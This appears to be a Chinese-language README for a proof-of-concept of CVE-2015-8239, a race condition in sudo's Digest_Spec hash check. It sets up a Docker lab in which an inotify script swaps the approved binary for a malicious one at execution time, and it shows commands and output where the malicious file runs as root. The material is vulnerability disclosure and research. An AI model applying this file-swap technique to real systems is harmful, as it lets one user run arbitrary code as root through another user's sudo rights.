Digest_Spec TOCTOU POCAlyssa Milburn(https://twitter.com/noopwafel)发现 sudo 中 Digest_Spec 设置存在一个 TOCTOU 竞态条件漏洞。Digest_Spec 设置可用于允许用户通过 sudo 执行某个二进制文件,前提是该文件的哈希值与预设值匹配。更多关于此功能的信息请参见 man sudoers 并搜索 Digest_Spec,关于 Alyssa 发现的漏洞详情,请参见 http://noopwafel.net/notes/2015/sudo-digest-race-condition.html。该问题被分配为 CVE-2015-8239。
该问题通过向 man sudoers 添加关于竞态条件潜在风险的文档,以及在 sudo 中添加一些 fexecve() 魔法来尝试防止某些类型的文件修改生效而得以缓解。
有趣的是,cve-assign 在 https://seclists.org/oss-sec/2015/q4/256 上表示:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
此 POC 表明,只要“写入者”用户可以在系统上执行持久代码,上述说法并不一定成立。“写入者”用户可以利用 inotify 检测“执行者”用户何时通过 sudo 执行文件,并在此刻尝试文件替换攻击。
本项目创建一个 Docker 镜像,其中:
/opt/sudoable 的文件,editor 用户对其可写,且 executor 用户可对其执行 sudo,前提是其 SHA256 哈希值与特定值匹配/opt/hello 的文件(其 SHA256 哈希值已嵌入 sudoers 中的“好”文件)和位于 /opt/goodbye 的文件(一个“恶意”文件)/opt 目录仅 root 用户可写(因此 editor 用户可以替换 /opt/sudoable 的 内容,但无法执行文件系统级别的文件交换操作)/home/editor/exploit/exploit.py 的基于 inotify 的 TOCTOU 利用程序当 editor 用户执行 /home/editor/exploit/exploit.py 时,将使用 inotify 监控文件系统事件。当 /opt/sudoable 文件被访问时,它会被替换为 /opt/goodbye。之后当文件被关闭时,它会被替换回 /opt/hello,使系统恢复“正常”状态。
假设当 executor 用户执行 sudo /opt/sudoable 时此竞态条件成功(在我的机器上大多数情况下都能成功),则 editor 用户可以使 executor 用户以 root 身份执行恶意二进制文件,无论 sudoers 中指定的 Digest_Spec 值是什么 SHA256 哈希值。
运行 make all
./instantiate.shtmux new-session 并分割窗格(Ctrl+b 然后 ";使用 Ctrl+b 然后上/下键切换窗格)sudo -u executor sudo /opt/sudoable 并观察输出 Hello uid=0sudo -u editor cp /opt/goodbye /opt/sudoablesudo -u executor sudo /opt/sudoable 并观察到系统要求输入密码(即 sudo 操作因摘要不匹配而失败)sudo -u editor /home/editor/exploit/exploit.pysudo -u executor sudo /opt/sudoable 并观察到偶尔输出 Goodbye uid=0上方窗格:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
下方窗格:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
上方窗格:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
下方窗格:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
上方窗格:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
fexecve() 缓解措施在哪些情况下真正有效?如果用户对可执行 sudo 的文件有写权限,但对其所在目录没有写权限,他们可以修改由 sudo 打开的文件。如果用户对目录有写权限但对该文件没有写权限,他们可以将文件移走并重新创建,从而能够修改它,我们又回到了原点。
感谢 Luke(https://twitter.com/lukejahnke)向我介绍了 Digest_Spec 设置,一起讨论了一些想法,并想到了使用 inotify 实现一个干净的跨用户 POC。